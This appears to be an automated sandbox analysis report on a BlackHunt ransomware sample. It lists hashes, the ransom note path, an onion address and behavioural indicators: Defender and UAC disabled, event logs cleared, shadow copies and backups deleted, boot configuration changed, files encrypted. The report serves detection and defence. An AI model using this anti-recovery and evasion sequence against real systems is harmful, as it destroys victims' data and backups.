Analysis
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max time kernel
117s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 22:40
Static task
static1
Behavioral task
behavioral1
Sample
1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe
Resource
win10v2004-20231222-en
General
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Target
1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe
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Size
707KB
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MD5
2087409630f12f84cca9e35c13c880b6
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SHA1
a333c3f16f1ca258652d60ee1110011fdcf71fd7
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SHA256
1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c
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SHA512
52ce4300a168f4f4c26db5a844ffc3cfc669f6a11d8825235c2e52a683ba408b28b03335ad4fd9a58bd750d6d7882f48a677a6013999382ce247a0188c08972b
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1j8Cvnh:6uaTmkZJ+naie5OTamgEoKxLW6Mh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2356 fsutil.exe 2516 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 216 wevtutil.exe 3920 wevtutil.exe 1444 wevtutil.exe 1056 wevtutil.exe 2192 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 2460 bcdedit.exe 2720 bcdedit.exe 772 bcdedit.exe 3032 bcdedit.exe -
Renames multiple (2883) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 2700 wbadmin.exe 3028 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 4028 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\O: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\N: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\M: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\K: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\G: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\V: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\A: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\T: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\Y: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\I: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\S: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\Z: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\X: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\W: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\J: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\P: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\H: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\U: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\B: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\E: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\R: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\L: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#BlackHunt_Private.key 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\#BlackHunt_ReadMe.hta 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\VideoLAN\VLC\locale\tl\#BlackHunt_ReadMe.hta 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\README.txt 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-previous-static.png 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-profiling.jar 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_ReadMe.txt 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\buttons.png 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\.data\#BlackHunt_Private.key 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\win7TSFrame.png 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Swift_Current 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationUp_ButtonGraphic.png 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Amman 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\#BlackHunt_Private.key 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#BlackHunt_ReadMe.hta 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyNotesBackground.wmv 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\VideoLAN\VLC\locale\fi\#BlackHunt_ReadMe.txt 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\#BlackHunt_ReadMe.txt 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Pontianak 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\VideoLAN\VLC\plugins\stream_out\#BlackHunt_ReadMe.hta 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Guam 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Nipigon 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\#BlackHunt_Private.key 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Kiev 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\#BlackHunt_Private.key 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Bahia_Banderas 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\#BlackHunt_ReadMe.txt 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Riga 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\#BlackHunt_ReadMe.txt 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\custom.lua 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_pl.jar 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\meta-index 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\VideoLAN\VLC\hrtfs\#BlackHunt_Private.key 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_ReadMe.txt 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\#BlackHunt_Private.key 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jre7\lib\management\jmxremote.access 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\classfile_constants.h 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme_0.9.300.v20140424-2042.jar 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\VideoLAN\VLC\locale\uz\#BlackHunt_ReadMe.hta 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Cancun 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4-dark.css 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_sv.properties 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\license.html 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-editor-mimelookup.jar 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\DVD Maker\fr-FR\#BlackHunt_ReadMe.txt 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\#BlackHunt_Private.key 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-openide-util-enumerations.xml_hidden 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationRight_SelectionSubpicture.png 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\sa-jdi.jar 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\feature.xml 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\index.gif 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\#BlackHunt_Private.key 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\applet\#BlackHunt_Private.key 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\#BlackHunt_ReadMe.txt 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\MANIFEST.MF 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.greychartplugin_5.5.0.165303.jar 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-host-remote.xml 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File opened for modification C:\Program Files\Java\jre7\lib\ext\jaccess.jar 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#BlackHunt_Private.key 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe File created C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\#BlackHunt_Private.key 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2116 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2244 vssadmin.exe 2484 vssadmin.exe 2648 vssadmin.exe 2484 vssadmin.exe 1056 vssadmin.exe 3024 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 612 taskkill.exe -
Modifies registry class 10 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2256 PING.EXE -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe Token: SeRestorePrivilege 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe Token: SeBackupPrivilege 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe Token: SeTakeOwnershipPrivilege 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe Token: SeAuditPrivilege 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe Token: SeSecurityPrivilege 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe Token: SeIncBasePriorityPrivilege 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe Token: SeBackupPrivilege 1228 vssvc.exe Token: SeRestorePrivilege 1228 vssvc.exe Token: SeBackupPrivilege 2260 wbengine.exe Token: SeAuditPrivilege 1228 vssvc.exe Token: SeRestorePrivilege 2260 wbengine.exe Token: SeSecurityPrivilege 2260 wbengine.exe Token: SeSecurityPrivilege 216 wevtutil.exe Token: SeBackupPrivilege 216 wevtutil.exe Token: SeSecurityPrivilege 3920 wevtutil.exe Token: SeBackupPrivilege 3920 wevtutil.exe Token: SeSecurityPrivilege 1444 wevtutil.exe Token: SeBackupPrivilege 1444 wevtutil.exe Token: SeSecurityPrivilege 1056 wevtutil.exe Token: SeBackupPrivilege 1056 wevtutil.exe Token: SeDebugPrivilege 612 taskkill.exe Token: SeSecurityPrivilege 2192 wevtutil.exe Token: SeBackupPrivilege 2192 wevtutil.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1924 wrote to memory of 2144 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 29 PID 1924 wrote to memory of 2144 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 29 PID 1924 wrote to memory of 2144 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 29 PID 1924 wrote to memory of 2144 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 29 PID 1924 wrote to memory of 2308 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 31 PID 1924 wrote to memory of 2308 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 31 PID 1924 wrote to memory of 2308 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 31 PID 1924 wrote to memory of 2308 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 31 PID 1924 wrote to memory of 2564 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 135 PID 1924 wrote to memory of 2564 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 135 PID 1924 wrote to memory of 2564 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 135 PID 1924 wrote to memory of 2564 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 135 PID 2144 wrote to memory of 2136 2144 cmd.exe 35 PID 2144 wrote to memory of 2136 2144 cmd.exe 35 PID 2144 wrote to memory of 2136 2144 cmd.exe 35 PID 1924 wrote to memory of 2612 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 36 PID 1924 wrote to memory of 2612 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 36 PID 1924 wrote to memory of 2612 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 36 PID 1924 wrote to memory of 2612 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 36 PID 1924 wrote to memory of 2680 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 40 PID 1924 wrote to memory of 2680 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 40 PID 1924 wrote to memory of 2680 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 40 PID 1924 wrote to memory of 2680 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 40 PID 2308 wrote to memory of 2684 2308 cmd.exe 39 PID 2308 wrote to memory of 2684 2308 cmd.exe 39 PID 2308 wrote to memory of 2684 2308 cmd.exe 39 PID 1924 wrote to memory of 2624 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 51 PID 1924 wrote to memory of 2624 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 51 PID 1924 wrote to memory of 2624 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 51 PID 1924 wrote to memory of 2624 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 51 PID 2564 wrote to memory of 2616 2564 reg.exe 49 PID 2564 wrote to memory of 2616 2564 reg.exe 49 PID 2564 wrote to memory of 2616 2564 reg.exe 49 PID 1924 wrote to memory of 2944 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 41 PID 1924 wrote to memory of 2944 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 41 PID 1924 wrote to memory of 2944 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 41 PID 1924 wrote to memory of 2944 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 41 PID 1924 wrote to memory of 2604 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 48 PID 1924 wrote to memory of 2604 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 48 PID 1924 wrote to memory of 2604 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 48 PID 1924 wrote to memory of 2604 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 48 PID 2612 wrote to memory of 1640 2612 cmd.exe 46 PID 2612 wrote to memory of 1640 2612 cmd.exe 46 PID 2612 wrote to memory of 1640 2612 cmd.exe 46 PID 1924 wrote to memory of 2688 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 44 PID 1924 wrote to memory of 2688 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 44 PID 1924 wrote to memory of 2688 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 44 PID 1924 wrote to memory of 2688 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 44 PID 